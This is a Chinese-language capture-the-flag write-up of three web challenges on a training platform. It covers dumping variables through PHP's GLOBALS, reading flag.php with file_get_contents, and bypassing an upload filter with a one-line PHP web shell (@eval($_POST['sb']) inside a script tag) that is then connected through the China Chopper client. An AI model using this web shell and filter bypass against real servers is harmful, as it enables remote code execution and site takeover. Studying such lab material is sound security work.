我会擦去因为太菜留下的泪水,还会装作一切都无所谓的样子!
爆破1
我是按照做题人数有多到少来做的,由简入繁嘛!
这道题需要传入参数hello,post和get方式都可以。做了一个简单的正则匹配,意思是输入字母或数字。主要看的是var_dump()这个函数。
所以这里就要用到超全局变量GLOBALS了,使用get或post方式传入
GLOBALS可以显示出来所有的变量,在里面可以找到flag。
爆破2
跟爆破1类似
题目提示flag不在变量中。同样的也是传入了参数hello,此处利用file_get_contents来读取flag.php这个文件。
这样就可以读取出flag.php中的flag了
在源代码中会多出一些字符串,就是flag.php里的内容(属于任意文件读取漏洞)
file_get_contents()函数:
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
upload
题目是长这样,有一个hint是:flag在flag.php里,本来以为就是在那个网页里,但是打开是这样子的
并没有什么有用的信息,后来试了试上传,发现连.php的后缀的都能直接上传成功,真是跟一般的不太一样啊,但是他下面有一个“上传成功!”,点开发现是自己刚才在.php后缀里上传的一句话,但是并不完全,韩很明显是过滤了一些东西:<? 和 php
那么就想到是用菜刀连了,前提是我们要先避免让他把关键字给过滤掉,就需要用到其他形式的一句话木马了,如下
<script language="pHp">@eval($_POST['sb'])</script>
然后用菜刀连,url是http://8e91c1939a2e4a53a69167cf80f8f937099b04b568a246be.game.ichunqiu.com
没有后面的具体路径,因为tips是flag在flag.php里,而且我们也不知道他的具体路径,连上之后
flag果然在里面。这道题靠的是不同形式的一句话的上传,从而解出来falg。